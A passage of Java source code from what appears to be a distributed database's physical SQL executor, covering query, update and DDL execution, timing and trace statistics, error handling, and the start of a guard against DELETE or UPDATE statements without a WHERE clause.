null == executionContext.getParams() ? null : executionContext.getParams().getCurrentParameter();
final boolean compactMeta =
null == executionContext.getGroupHint() && null == executionContext.getExplain();
return executeQueryX(XTemplate, tableNames, params, queryOperation.getNativeSql(), compactMeta);
}
return false;
}
@Override
public void executeQuery(CursorMeta meta, BaseQueryOperation queryOperation) throws SQLException {
if (queryOperation instanceof PhyTableOperation
&& ((PhyTableOperation) queryOperation).getPhyOperationBuilder() != null) {
this.executeQuery(meta, (PhyTableOperation) queryOperation);
return;
}
long startPrepStmtEnvNano = 0;
if (enableTaskProfile) {
startPrepStmtEnvNano = ThreadCpuStatUtil.getThreadCpuTimeNano();
}
Pair<String, Map<Integer, ParameterContext>> dbIndexAndParam =
queryOperation.getDbIndexAndParam(executionContext.getParams() == null ? null : executionContext.getParams()
.getCurrentParameter(), executionContext);
this.groupName = dbIndexAndParam.getKey();
setContext(meta, isForceStream(), dbIndexAndParam.getKey());
if (executionContext.getParams() != null) {
// 查询语句不支持batch模式
if (executionContext.getParams().isBatch()) {
throw new ExecutorException("batch not supported query sql");
}
}
if (executeQueryX(meta, queryOperation, dbIndexAndParam)) {
return;
}
SqlAndParam sqlAndParam = new SqlAndParam();
ITransaction.RW rw = ITransaction.RW.READ;
String nativeSql = queryOperation.getNativeSql();
if (StringUtils.isNotEmpty(nativeSql)) {
sqlAndParam.sql = nativeSql;
if (queryOperation instanceof BaseTableOperation && ((BaseTableOperation) queryOperation).isForUpdate()) {
rw = ITransaction.RW.WRITE;
}
if (dbIndexAndParam.getValue() != null) {
sqlAndParam.param = dbIndexAndParam.getValue();
} else {
sqlAndParam.param = new HashMap<>();
}
if (logger.isDebugEnabled()) {
logger.debug("Native SQL:" + nativeSql.replaceAll("\n", " "));
StringBuilder builder = new StringBuilder();
if (dbIndexAndParam.getValue() != null) {
for (ParameterContext c : dbIndexAndParam.getValue().values()) {
builder.append(" Index ").append(c.getArgs()[0]).append(" Value:");
builder.append(c.getValue());
}
logger.debug("Param :" + builder.toString());
}
}
}
long startTime = System.currentTimeMillis();
long nanoStartTime = System.nanoTime();
long sqlCostTime = -1, createCostTime = -1, waitCostTime = -1;
try {
executionType = ExecutionType.GET;
connection = getPhyConnection(executionContext.getTransaction(), rw, groupName);
String sql = buildSql(sqlAndParam.sql, executionContext);
sqlAndParam.sql = sql;
if (sqlAndParam.param.isEmpty()) {
ps = createStatement(connection, executionContext, false);
} else {
ps = prepareStatement(sql, connection, executionContext, false, false);
}
if (isStreaming) {
// 当prev的时候 不能设置
setStreamingForStatement(ps);
}
Map<Integer, ParameterContext> map = sqlAndParam.param;
convertParameters(sqlAndParam.param, executionContext.getParamManager());
ParameterMethod.setParameters(ps, map);
ResultSet rs;
executionContext.getStats().physicalRequest.incrementAndGet();
if (enableTaskProfile) {
this.statementStats.addPrepStmtEnvNano(ThreadCpuStatUtil.getThreadCpuTimeNano() - startPrepStmtEnvNano);
}
long startTimeNano = System.nanoTime();
ResultSet realResultSet;
if (sqlAndParam.param.isEmpty()) {
if (ps.isWrapperFor(XStatement.class)) {
final XStatement xStatement = ps.unwrap(XStatement.class);
final boolean compactMeta = (queryOperation instanceof SingleTableOperation
|| queryOperation instanceof DirectTableOperation)
&& null == executionContext.getGroupHint() && null == executionContext.getExplain();
final XConnection xConnection = xStatement.getConnection().unwrap(XConnection.class);
xConnection.setTraceId(executionContext.getTraceId());
xConnection.setCompactMetadata(compactMeta);
// Add feedback here by set flag in XConnection.
xConnection.setWithFeedback(true);
connection.flushUnsent(); // Caution: This is important when use deferred sql.
xConnection.getSession().setChunkResult(false);
final boolean noDigest =
(executionContext.getGroupHint() != null && !executionContext.getGroupHint().isEmpty()) ||
(executionContext.getExplain() != null
&& executionContext.getExplain().explainMode == ExplainResult.ExplainMode.EXECUTE);
phySqlExecuted = true;
xResult = xStatement.executeQueryX(sql, noDigest ? null : queryOperation.getSqlDigest());
xResult.getMetaData(); // Compatible with original time record.
rs = null;
} else {
throw new AssertionError("unreachable");
// phySqlExecuted = true;
// ps.execute(sql);
// realResultSet = ps.getResultSet();
// rs = new ResultSetWrapper(realResultSet, this);
}
} else {
if (ps.isWrapperFor(XPreparedStatement.class)) {
final XPreparedStatement xPreparedStatement = ps.unwrap(XPreparedStatement.class);
final boolean compactMeta = (queryOperation instanceof SingleTableOperation
|| queryOperation instanceof DirectTableOperation)
&& null == executionContext.getGroupHint() && null == executionContext.getExplain();
final XConnection xConnection = xPreparedStatement.getConnection().unwrap(XConnection.class);
xConnection.setTraceId(executionContext.getTraceId());
xConnection.setCompactMetadata(compactMeta);
// Add feedback here by set flag in XConnection.
xConnection.setWithFeedback(true);
connection.flushUnsent(); // Caution: This is important when use deferred sql.
xConnection.getSession().setChunkResult(false);
final boolean noDigest =
(executionContext.getGroupHint() != null && !executionContext.getGroupHint().isEmpty()) ||
(executionContext.getExplain() != null
&& executionContext.getExplain().explainMode == ExplainResult.ExplainMode.EXECUTE);
phySqlExecuted = true;
xResult = xPreparedStatement.executeQueryX(noDigest ? null : queryOperation.getSqlDigest());
xResult.getMetaData(); // Compatible with original time record.
rs = null;
} else {
// 因为这里的sq可能会因为被改造过而成为多语句sql
// 例如,select sql_calc_found_rows xxx; select found_rows();
// 这里使用ps.execute()执行,是因为这个方法返回的resultRet支持多结果集
throw new AssertionError("unreachable");
// phySqlExecuted = true;
// ((PreparedStatement) ps).execute();
// realResultSet = ps.getResultSet();
// rs = new ResultSetWrapper(realResultSet, this);
}
}
long timeCostNano = System.nanoTime() - startTimeNano;
long getConnectionCostNano = 0;
if (connectionStats != null) {
getConnectionCostNano = connectionStats.getGetConnectionTotalNano();
}
// 这里统计的是mysql的执行时间
sqlCostTime = (timeCostNano / 1000);
if (enableTaskProfile) {
this.statementStats.addExecuteStmtNano(timeCostNano);
}
executionContext.getStats().recordPhysicalTimeCost(sqlCostTime);
String currentDbKey = getCurrentDbkey(rw);
if (executionContext.isEnableTrace()) {
ExecuteSQLOperation op =
new ExecuteSQLOperation(this.groupName, currentDbKey, sqlAndParam.sql, startTimeNano);
op.setThreadName(Thread.currentThread().getName());
op.setParams(new Parameters(map, false));
op.setTimeCost(System.currentTimeMillis() - startTime);
op.setRowsCount(rowsAffect);
op.setGetConnectionTimeCost(getConnectionCostNano / (float) (1000 * 1000));
executionContext.getTracer().trace(op);
}
this.resultSet = null;
} catch (SQLException e) {
if (UNKNOWN_COLUMN.equals(e.getSQLState())) {
generalHandlerException(queryOperation, sqlAndParam, e, true, rw);
} else {
generalHandlerException(queryOperation, sqlAndParam, e, false, rw);
}
} catch (Throwable e) {
generalHandlerException(queryOperation, sqlAndParam, e, false, rw);
} finally {
resetPhyConnSocketTimeout();
recordSqlLog(sqlAndParam.sql,
startTime,
nanoStartTime,
sqlCostTime,
createCostTime,
waitCostTime,
sqlAndParam.param,
this.groupName,
rw);
executionContext.getTransaction().clearTrxContext();
collectStatementStats();
}
}
private boolean executeQueryX(CursorMeta meta, PhyTableOperation phyTableOperation) {
// Flag check.
if (!isXDataSources() || !XConnectionManager.getInstance().isEnableXplan()) {
return false;
}
final XPlanTemplate XTemplate = phyTableOperation.getXTemplate();
if (null == XTemplate) {
return false;
}
// Query with XPlan.
final List<List<String>> phyTableNames = phyTableOperation.getTableNames();
// XPlan have individual parameter mapper.
final Map<Integer, ParameterContext> params =
null == executionContext.getParams() ? null : executionContext.getParams().getCurrentParameter();
// Check table and param mapping.
if (phyTableNames.size() != 1) {
return false; // Merge union not supported.
}
final boolean compactMeta =
null == executionContext.getGroupHint() && null == executionContext.getExplain();
return executeQueryX(XTemplate, phyTableNames.get(0), params, phyTableOperation.getNativeSql(), compactMeta);
}
private void executeQuery(CursorMeta meta, PhyTableOperation phyTableOperation) throws SQLException {
long startPrepStmtEnvNano = 0;
if (enableTaskProfile) {
startPrepStmtEnvNano = ThreadCpuStatUtil.getThreadCpuTimeNano();
}
Pair<String, Map<Integer, ParameterContext>> dbIndexAndParam =
phyTableOperation.getDbIndexAndParam(null, executionContext);
groupName = dbIndexAndParam.getKey();
setContext(meta, isForceStream(), groupName);
if (executionContext.getParams() != null) {
if (executionContext.getParams().isBatch()) {
throw new ExecutorException("batch not supported query sql");
}
}
// Try XPlan first.
if (executeQueryX(meta, phyTableOperation)) {
return;
}
ITransaction.RW rw = phyTableOperation.isForUpdate() ? ITransaction.RW.WRITE : ITransaction.RW.READ;
String sqlPrefix = buildSql("", executionContext);
PhyTableScanBuilder phyTableScanBuilder = (PhyTableScanBuilder) phyTableOperation.getPhyOperationBuilder();
String sql = phyTableScanBuilder.buildSql(phyTableOperation, sqlPrefix);
List<ParameterContext> paramList = phyTableScanBuilder.buildParams(phyTableOperation.getTableNames());
HashMap<Integer, ParameterContext> logParams = new HashMap<>();
for (int i = 0; i < Math.min(MAX_LOG_PARAM_COUNT, paramList.size()); i++) {
logParams.put(i, paramList.get(i));
}
// for logging and exception handling
SqlAndParam sqlAndParam = new SqlAndParam();
sqlAndParam.sql = phyTableOperation.getNativeSql();
sqlAndParam.param = logParams;
if (logger.isDebugEnabled()) {
logger.debug("Native SQL:" + sql.replaceAll("\n", " "));
StringBuilder builder = new StringBuilder();
for (int i = 0; i < logParams.size(); i++) {
builder.append(" Index ").append(i + 1).append(" Value:");
builder.append(logParams.get(i).getValue());
}
logger.debug("Param :" + builder.toString());
}
long startTime = System.currentTimeMillis();
long nanoStartTime = System.nanoTime();
long sqlCostTime = -1;
long createCostTime = -1;
long waitCostTime = -1;
try {
executionType = ExecutionType.GET;
this.connection = getPhyConnection(executionContext.getTransaction(), rw, groupName);
ps = prepareStatement(sql, connection, executionContext, false, false);
ParameterMethod.setParameters(ps, paramList);
if (isStreaming) {
setStreamingForStatement(ps);
}
executionContext.getStats().physicalRequest.incrementAndGet();
if (enableTaskProfile) {
this.statementStats.addPrepStmtEnvNano(ThreadCpuStatUtil.getThreadCpuTimeNano() - startPrepStmtEnvNano);
}
long startTimeNano = System.nanoTime();
if (ps.isWrapperFor(XPreparedStatement.class)) {
final XPreparedStatement xPreparedStatement = ps.unwrap(XPreparedStatement.class);
final boolean compactMeta =
null == executionContext.getGroupHint() && null == executionContext.getExplain();
final XConnection xConnection = xPreparedStatement.getConnection().unwrap(XConnection.class);
xConnection.setTraceId(executionContext.getTraceId());
xConnection.setCompactMetadata(compactMeta);
// Add feedback here by set flag in XConnection.
xConnection.setWithFeedback(true);
connection.flushUnsent(); // Caution: This is important when use deferred sql.
xConnection.getSession().setChunkResult(false);
final boolean noDigest =
phyTableOperation.getTableNames().size() != 1 ||
(executionContext.getGroupHint() != null && !executionContext.getGroupHint().isEmpty()) ||
(executionContext.getExplain() != null
&& executionContext.getExplain().explainMode == ExplainResult.ExplainMode.EXECUTE);
phySqlExecuted = true;
xResult = xPreparedStatement.executeQueryX(noDigest ? null : phyTableOperation.getSqlDigest());
xResult.getMetaData(); // Compatible with original time record.
this.resultSet = null;
} else {
// FIXME(moyi) figure out it
throw new AssertionError("unreachable");
// phySqlExecuted = true;
// ((PreparedStatement) ps).execute();
// this.resultSet = new ResultSetWrapper(ps.getResultSet(), this);
}
// 这里统计的是mysql的执行时间
long timeCostNano = System.nanoTime() - startTimeNano;
long getConnectionCostNano = 0;
if (connectionStats != null) {
getConnectionCostNano = connectionStats.getGetConnectionTotalNano();
}
sqlCostTime = (timeCostNano / 1000);
if (enableTaskProfile) {
this.statementStats.addExecuteStmtNano(timeCostNano);
}
executionContext.getStats().recordPhysicalTimeCost(sqlCostTime);
String currentDbKey = getCurrentDbkey(rw);
if (executionContext.isEnableTrace()) {
ExecuteSQLOperation op = new ExecuteSQLOperation(this.groupName, currentDbKey, sql, startTimeNano);
op.setThreadName(Thread.currentThread().getName());
op.setParams(new Parameters(logParams, false));
op.setTimeCost(System.currentTimeMillis() - startTime);
op.setRowsCount(rowsAffect);
op.setGetConnectionTimeCost(getConnectionCostNano / (float) (1000 * 1000));
executionContext.getTracer().trace(op);
}
} catch (SQLException e) {
if (UNKNOWN_COLUMN.equals(e.getSQLState())) {
generalHandlerException(phyTableOperation, sqlAndParam, e, true, rw);
} else {
generalHandlerException(phyTableOperation, sqlAndParam, e, false, rw);
}
} catch (Throwable e) {
generalHandlerException(phyTableOperation, sqlAndParam, e, false, rw);
} finally {
recordSqlLog(sql,
startTime,
nanoStartTime,
sqlCostTime,
createCostTime,
waitCostTime,
logParams,
this.groupName,
rw);
executionContext.getTransaction().clearTrxContext();
collectStatementStats();
}
}
@Override
public int[] executeUpdate(BaseQueryOperation phyTableModify) throws SQLException {
long startPrepStmtEnvNano = 0;
Pair<String, Map<Integer, ParameterContext>> dbIndexAndParam =
phyTableModify.getDbIndexAndParam(executionContext.getParams() == null ? null : executionContext.getParams()
.getCurrentParameter(), executionContext);
this.groupName = dbIndexAndParam.getKey();
if (phyTableModify.isUseDbIndex()) {
this.groupName = phyTableModify.getDbIndex();
}
this.closed = false;
List<Map<Integer, ParameterContext>> batchParams = null;
SqlAndParam sqlAndParam = new SqlAndParam();
String nativeSql = phyTableModify.getNativeSql();
if (StringUtils.isNotEmpty(nativeSql)) {
sqlAndParam.sql = nativeSql;
if (dbIndexAndParam.getValue() != null) {
sqlAndParam.param = dbIndexAndParam.getValue();
} else if (phyTableModify instanceof BaseTableOperation) {
batchParams = ((BaseTableOperation) phyTableModify).getBatchParameters();
sqlAndParam.param = new HashMap<>();
}
if (logger.isDebugEnabled()) {
logger.debug("Native SQL:" + nativeSql.replaceAll("\n", " "));
StringBuilder builder = new StringBuilder();
for (ParameterContext c : dbIndexAndParam.getValue().values()) {
builder.append(" Index ").append(c.getArgs()[0]).append(" Value:");
builder.append(c.getValue());
}
logger.debug("Param :" + builder.toString());
}
}
interceptDMLAllTableSql(phyTableModify, sqlAndParam.sql);
boolean isInsert = false;
if (phyTableModify.getKind() == SqlKind.INSERT || phyTableModify.getKind() == SqlKind.REPLACE) {
isInsert = true;
}
long startTime = System.currentTimeMillis();
long nanoStartTime = System.nanoTime();
long sqlCostTime = -1, createCostTime = -1, waitCostTime = -1;
boolean createConnectionSuccess = false;
ITransaction.RW rw = ITransaction.RW.WRITE;
try {
ITransaction transaction = executionContext.getTransaction();
if (executionContext.getParamManager().getBoolean(ConnectionParams.BROADCAST_DML)) {
rw = ITransaction.RW.READ;
}
connection = getPhyConnection(transaction, rw, groupName);
if (batchParams != null) {
connection.flushUnsent();
}
if (connection.isWrapperFor(XConnection.class)) {
connection.unwrap(XConnection.class).setTraceId(executionContext.getTraceId());
}
String sql = buildSql(sqlAndParam.sql, executionContext);
int[] affectRows;
long startTimeNano;
if (batchParams != null) {
if (executionContext.getLoadDataContext() != null &&
executionContext.getLoadDataContext().isUseBatch()) {
try {
ps = prepareStatement(sql, connection, executionContext, isInsert, false);
for (Map<Integer, ParameterContext> param : batchParams) {
convertParameters(param, executionContext.getParamManager());
ParameterMethod.setParameters(ps, param);
((PreparedStatement) ps).addBatch();
}
startTimeNano = System.nanoTime();
executionContext.getStats().physicalRequest.incrementAndGet();
phySqlExecuted = true;
ps.executeBatch();
//batch 模式下 获取的rowCnt 不准确
affectRows = new int[] {batchParams.size()};
} catch (Throwable t) {
throw t;
}
} else {
ps = prepareStatement(sql, connection, executionContext, isInsert, false);
for (Map<Integer, ParameterContext> param : batchParams) {
convertParameters(param, executionContext.getParamManager());
ParameterMethod.setParameters(ps, param);
((PreparedStatement) ps).addBatch();
}
startTimeNano = System.nanoTime();
executionContext.getStats().physicalRequest.incrementAndGet();
phySqlExecuted = true;
affectRows = ps.executeBatch();
}
} else {
if (sqlAndParam.param.isEmpty() && batchParams == null) {
ps = createStatement(connection, executionContext, false);
} else {
ps = prepareStatement(sql, connection, executionContext, isInsert, false);
}
int affectRow;
convertParameters(sqlAndParam.param, executionContext.getParamManager());
ParameterMethod.setParameters(ps, sqlAndParam.param);
if (sqlAndParam.param.isEmpty()) {
int[] columnIndexes = executionContext.getColumnIndexes();
String[] columnNames = executionContext.getColumnNames();
int autoGeneratedKeys = executionContext.getAutoGeneratedKeys();
if (isInsert) {
autoGeneratedKeys = Statement.RETURN_GENERATED_KEYS;
}
startTimeNano = System.nanoTime();
executionContext.getStats().physicalRequest.incrementAndGet();
phySqlExecuted = true;
if (autoGeneratedKeys != -1) {
affectRow = ps.executeUpdate(sql, autoGeneratedKeys);
} else if (columnIndexes != null) {
affectRow = ps.executeUpdate(sql, columnIndexes);
} else if (columnNames != null) {
affectRow = ps.executeUpdate(sql, columnNames);
} else {
affectRow = ps.executeUpdate(sql);
}
} else {
if (enableTaskProfile) {
this.statementStats.addPrepStmtEnvNano(ThreadCpuStatUtil.getThreadCpuTimeNano()
- startPrepStmtEnvNano);
}
startTimeNano = System.nanoTime();
executionContext.getStats().physicalRequest.incrementAndGet();
phySqlExecuted = true;
if (ps.isWrapperFor(XPreparedStatement.class) && executionContext.useReturning()) {
final XPreparedStatement xPreparedStatement = ps.unwrap(XPreparedStatement.class);
final XConnection xConnection = xPreparedStatement.getConnection().unwrap(XConnection.class);
xConnection.setTraceId(executionContext.getTraceId());
connection.flushUnsent(); // Caution: This is important when use deferred sql.
xConnection.getSession().setChunkResult(false);
xResult = xPreparedStatement.executeUpdateReturningX(executionContext.getReturning());
xResult.getMetaData(); // Compatible with original time record.
affectRow = -2;
} else {
affectRow = ((PreparedStatement) ps).executeUpdate();
}
}
this.rowsAffect = new Long(affectRow);
affectRows = new int[] {affectRow};
}
long timeCostNano = System.nanoTime() - startTimeNano;
long getConnectionCostNano = 0;
if (connectionStats != null) {
getConnectionCostNano = connectionStats.getGetConnectionTotalNano();
}
// 这里统计的是mysql的执行时间
sqlCostTime = timeCostNano / 1000;
if (enableTaskProfile) {
this.statementStats.addExecuteStmtNano(timeCostNano);
}
executionContext.getStats().recordPhysicalTimeCost(sqlCostTime);
String currentDbKey = getCurrentDbkey(rw);
if (executionContext.isEnableTrace()) {
ExecuteSQLOperation op =
new ExecuteSQLOperation(this.groupName, currentDbKey, sql, startTimeNano);
if (batchParams != null) {
op.setParams(new Parameters(batchParams));
} else {
op.setParams(new Parameters(sqlAndParam.param));
}
op.setTimeCost(System.currentTimeMillis() - startTime);
op.setGetConnectionTimeCost(getConnectionCostNano / (1000 * 1000));
op.setRowsCount((long) affectRows[0]);
executionContext.getTracer().trace(op);
}
UpdateResultWrapper urw = new UpdateResultWrapper(affectRows, this);
this.resultSet = urw;
executionType = ExecutionType.PUT;
if (isInsert) {
ResultSet lastInsertIdResult = null;
try {
lastInsertIdResult = ps.getGeneratedKeys();
long lastInsertId = 0;
while (lastInsertIdResult.next()) {
long id = getLastInsertIdFromResultSet(lastInsertIdResult);
if (id != 0 && lastInsertId == 0) {
lastInsertId = id;
}
}
// Get the first key as last insert id.
if (lastInsertId != 0) {
executionContext.getConnection().setLastInsertId(lastInsertId);
executionContext.getConnection().setReturnedLastInsertId(lastInsertId);
}
} finally {
if (lastInsertIdResult != null) {
lastInsertIdResult.close();
}
}
}
phyTableModify.setAffectedRows(affectRows[0]);
return affectRows;
} catch (Throwable e) {
if (!createConnectionSuccess) {
MatrixStatistics.addConnErrorCount(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(rw),
1L);
} else {
MatrixStatistics.addSqlErrorCount(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(rw),
1L);
}
handleException(phyTableModify, sqlAndParam, e, false, rw);
return null;
} finally {
try {
resetPhyConnSocketTimeout();
recordSqlLog(sqlAndParam.sql,
startTime,
nanoStartTime,
sqlCostTime,
createCostTime,
waitCostTime,
sqlAndParam.param,
this.groupName,
rw);
} finally {
if (!executionContext.useReturning()) {
close();
}
executionContext.getTransaction().clearTrxContext();
collectStatementStats();
}
}
}
public int executeTableDdl(PhyDdlTableOperation tableOperation) throws SQLException {
long startPrepStmtEnvNano = 0;
if (enableTaskProfile) {
startPrepStmtEnvNano = ThreadCpuStatUtil.getThreadCpuTimeNano();
}
this.groupName = tableOperation.getDbIndex();
this.closed = false;
SqlAndParam sqlAndParam = new SqlAndParam();
sqlAndParam.sql = tableOperation.getNativeSql();
sqlAndParam.param = tableOperation.getParam();
if (tableOperation.isExplain()) {
sqlAndParam.sql = "explain " + sqlAndParam.sql;
}
long startTime = System.currentTimeMillis();
long nanoStartTime = System.nanoTime();
long sqlCostTime = -1, createCostTime = -1, waitCostTime = -1;
boolean createConnectionSuccess = false;
boolean isBatch = executionContext.getParams() != null ? executionContext.getParams().isBatch() : false;
try {
int affectRows = 0;
String sql = buildSql(sqlAndParam.sql, executionContext);
// 可能执行过程有失败,需要释放链接
connection = getPhyConnection(executionContext.getTransaction(),
ITransaction.RW.WRITE,
tableOperation.getDbIndex());
if (connection.isWrapperFor(XConnection.class)) {
connection.unwrap(XConnection.class).setTraceId(executionContext.getTraceId());
}
createConnectionSuccess = true;
if (sqlAndParam.param.isEmpty() && !isBatch) {
ps = createStatement(connection, executionContext, true);
} else {
ps = prepareStatement(sql, connection, executionContext, false, true);
setParameters(ps, sqlAndParam.param);
}
executionContext.getStats().physicalRequest.incrementAndGet();
if (enableTaskProfile) {
this.statementStats.addPrepStmtEnvNano(ThreadCpuStatUtil.getThreadCpuTimeNano() - startPrepStmtEnvNano);
}
long startTimeNano = System.nanoTime();
try {
FailPoint.injectFromHint(FailPointKey.FP_PHYSICAL_DDL_EXCEPTION, executionContext, () -> {
FailPoint.injectException(FailPointKey.FP_PHYSICAL_DDL_EXCEPTION);
});
FailPoint.injectFromHint(FailPointKey.FP_PHYSICAL_DDL_PARTIAL_EXCEPTION, executionContext, () -> {
long taskId = executionContext.getPhyDdlExecutionRecord().getTaskId();
if (!executionContext.getDdlContext().compareAndSetPhysicalDdlInjectionFlag(taskId)) {
FailPoint.injectException(FailPointKey.FP_PHYSICAL_DDL_PARTIAL_EXCEPTION);
}
});
/**
* 真正将SQL发向物理数据源并执行:一定需要返回是否真正对DB产生了影响,后面会根据这个来决定是否上推新规则
* mysql对于直接收到的DDL也是返回0 rows affected,所以执行成功也是0 affectRows
* 后面直接判断是否为0就可以判断是否可以上推规则了。
*/
phySqlExecuted = true;
if (ps instanceof PreparedStatement) {
affectRows = ((PreparedStatement) ps).executeUpdate();
} else {
affectRows = ps.executeUpdate(sql);
}
long timeCostNano = System.nanoTime() - startTimeNano;
long getConnectionCostNano = 0;
if (connectionStats != null) {
getConnectionCostNano = connectionStats.getGetConnectionTotalNano();
}
// 这里统计的是mysql的执行时间
sqlCostTime = timeCostNano / 1000;
if (enableTaskProfile) {
this.statementStats.addExecuteStmtNano(timeCostNano);
}
executionContext.getStats().recordPhysicalTimeCost(sqlCostTime);
String currentDbKey = getCurrentDbkey(ITransaction.RW.WRITE);
if (executionContext.isEnableTrace() || executionContext.isEnableDdlTrace()) {
ExecuteSQLOperation op = new ExecuteSQLOperation(this.groupName,
currentDbKey,
sqlAndParam.sql,
startTimeNano);
op.setParams(new Parameters(null, false));
op.setTimeCost(System.currentTimeMillis() - startTime);
op.setGetConnectionTimeCost(getConnectionCostNano / (float) (1000 * 1000));
executionContext.getTracer().trace(op);
}
UpdateResultWrapper urw = new UpdateResultWrapper(new int[] {affectRows}, this);
executionType = ExecutionType.PUT;
this.resultSet = urw;
/**
* 对于alter因为是顺序执行的,而且executionContext是重用的,所以可以将每次成功执行后
* 的结构放入到executionContext中,这样如果发现失败就可以打印当时成功的记录了,并且可以
* 抛出异常告诉客户手工执行
*/
storeSuccessDDLRecords(tableOperation, this.groupName);
} catch (Throwable t) {
MatrixStatistics.addSqlErrorCount(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(ITransaction.RW.WRITE),
1L);
throw t;
}
// Some warnings should be recorded in ExecutionContext.
storeWarningsIfNeeded(tableOperation);
return affectRows;
} catch (Throwable e) {
if (!createConnectionSuccess) {
MatrixStatistics.addConnErrorCount(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(ITransaction.RW.WRITE),
1L);
}
waitUntilPhyDdlDoneAfterTimeout(tableOperation, e);
try {
if (tableOperation.isPartitioned()) {
// 分库情况下,忽略中间异常,全部执行所有分库
int code = 0;
if (e instanceof TddlNestableRuntimeException) {
code = ((TddlNestableRuntimeException) e).getErrorCode();
} else if (e instanceof SQLException) {
code = ((SQLException) e).getErrorCode();
}
storeFailedDDLRecords(tableOperation, this.groupName, code, e.getMessage());
return 0;
} else {
if (e instanceof TddlRuntimeException || e instanceof TddlException) {
throw GeneralUtil.nestedException(e);
} else {
throw new TddlRuntimeException(ErrorCode.ERR_EXECUTE_ON_MYSQL,
e,
this.groupName,
getCurrentDbkey(ITransaction.RW.WRITE),
e.getMessage());
}
}
} finally {
if (logger.isWarnEnabled()) {
logger.warn("Execute error on group: " + this.groupName + ", sql is: " + sqlAndParam.sql
+ ", param is: " + String.valueOf(sqlAndParam.param.values()), e);
}
}
} finally {
try {
resetPhyConnSocketTimeout();
recordSqlLog(sqlAndParam.sql,
startTime,
nanoStartTime,
sqlCostTime,
createCostTime,
waitCostTime,
sqlAndParam.param,
this.groupName,
ITransaction.RW.WRITE);
} finally {
close();
executionContext.getTransaction().clearTrxContext();
}
}
}
/**
* If the physical ddl failed due to timeout or connection reset,
* then it may be still running on physical instance. We should
* check the physical process until it's done, so that the logical
* ddl executor can determine if the physical ddl is already done.
*/
private void waitUntilPhyDdlDoneAfterTimeout(PhyDdlTableOperation tableOperation, Throwable t) {
boolean isTimeoutOnJdbc = t instanceof CommunicationsException &&
TStringUtil.equalsIgnoreCase(((CommunicationsException) t).getSQLState(), "08S01") &&
TStringUtil.containsIgnoreCase(t.getMessage(), "Communications link failure");
boolean isTimeoutOnXProtocol = t instanceof TddlRuntimeException &&
((TddlRuntimeException) t).getErrorCode() == 10004 &&
TStringUtil.containsIgnoreCase(t.getMessage(), "Query timeout");
boolean isUnfinishedOnXProtocol = t instanceof TddlRuntimeException &&
((TddlRuntimeException) t).getErrorCode() == 10002 &&
TStringUtil.containsIgnoreCase(t.getMessage(), "previous unfinished");
if (isTimeoutOnJdbc || isTimeoutOnXProtocol || isUnfinishedOnXProtocol) {
String phyTableName =
DdlHelper.genPhyTablePair(tableOperation, executionContext.getDdlContext()).getValue();
DdlHelper.waitUntilPhyDdlDone(connection, phyTableName, executionContext.getTraceId());
}
}
private boolean storeWarningsIfNeeded(PhyDdlTableOperation tableOperation) {
if (tableOperation.getKind() == SqlKind.CREATE_TABLE && tableOperation.isIfNotExists()) {
SQLWarning warning = null;
try {
warning = ps.getWarnings();
} catch (SQLException ignored) {
}
// Only the 'table already exists' warning won't be ignored.
// And we only care about the first warning.
if (warning != null && warning.getErrorCode() == DdlConstants.ERROR_TABLE_EXISTS) {
storeFailedDDLRecords(tableOperation, this.groupName, warning.getErrorCode(), warning.getMessage());
return true;
}
}
return false;
}
private void generalHandlerException(BaseQueryOperation queryOperation, SqlAndParam sqlAndParam, Throwable e,
Boolean unkownColumn, ITransaction.RW rw) throws SQLException {
MatrixStatistics.addSqlErrorCount(executionContext.getAppName(),
this.groupName,
getCurrentDbkey(rw),
1L);
try {
// 关闭自提交的链接
close();
} finally {
handleException(queryOperation, sqlAndParam, e, unkownColumn, rw);
}
}
private void handleException(BaseQueryOperation queryOperation, SqlAndParam sqlAndParam, Throwable e,
Boolean unKownColunm, ITransaction.RW rw) {
try {
if (e instanceof TddlRuntimeException || e instanceof TddlException) {
throw GeneralUtil.nestedException(e);
} else if (unKownColunm) {
TddlRuntimeException tddlRuntimeException2 =
new TddlRuntimeException(ErrorCode.ERR_EXECUTE_ON_MYSQL_UNKNOWN_COLUMN,
e,
this.groupName,
e.getMessage());
throw tddlRuntimeException2;
} else {
throw new TddlRuntimeException(ErrorCode.ERR_EXECUTE_ON_MYSQL,
e,
this.groupName,
getCurrentDbkey(rw),
e.getMessage());
}
} finally {
if (logger.isWarnEnabled()) {
Object traceId = executionContext.getTraceId();
StringBuilder sb = new StringBuilder();
sb.append("[").append(traceId).append("]");
sb.append("Execute ERROR on GROUP: ").append(this.groupName);
sb.append(", ATOM: ").append(getCurrentDbkey(rw));
if (queryOperation != null && queryOperation.getKind() == SqlKind.SELECT) {
sb.append(", MERGE_UNION_SIZE:").append((queryOperation).getUnionSize());
}
sb.append(", SQL: ").append(sqlAndParam.sql);
if (!GeneralUtil.isEmpty(sqlAndParam.param.values())) {
sb.append(", PARAM: ").append(String.valueOf(sqlAndParam.param.values()));
}
sb.append(", ERROR: ").append(e.getMessage());
if (isMySQLIntegrityConstraintViolationException(e)) {
if (logger.isDebugEnabled()) {
logger.debug(sb.toString(), e);
}
} else {
logger.warn(sb.toString(), e);
}
}
}
}
/**
* 拦截全表删或者全表更新操作
* <p>
* 下面的语句是极其危险的操作,默认禁止掉
* statusStage=1+2&openTaskId=10554339&。 1. DELETE 语句不带 WHERE 条件 2.
* UPDATE 语句不带 WHERE 条件 3. 当
* ENABLE_DELETE_WITH_LIMIT、ENABLE_UPDATE_WITH_LIMIT 开启的时候, 如果 DELETE、UPDATE
* 操作既没有提供 where 条件也没有提供 limit 条件。
* </p>
* 用户如果确实想要执行上述两种语句怎么办? 1. 通过使用 HINT
* 方式:TDDL:ENABLE_DELETE_WITHOUT_WHERE_FILTER
* 、TDDL:ENABLE_UPDATE_WITHOUT_WHERE_FILTER* 2. 实例级别允许在 diamond 上定义
* ENABLE_DELETE_WITHOUT_WHERE_FILTER、ENABLE_UPDATE_WITHOUT_WHERE_FILTER 开关,
* 来关闭上述禁止。
*/
protected void interceptDMLAllTableSql(BaseQueryOperation phyTableModify, String sql) {
boolean forbidDmlAll = executionContext.getParamManager().getBoolean(ConnectionParams.FORBID_EXECUTE_DML_ALL);
if (forbidDmlAll) {
if (phyTableModify.getKind() == SqlKind.DELETE || phyTableModify.getKind() == SqlKind.UPDATE) {
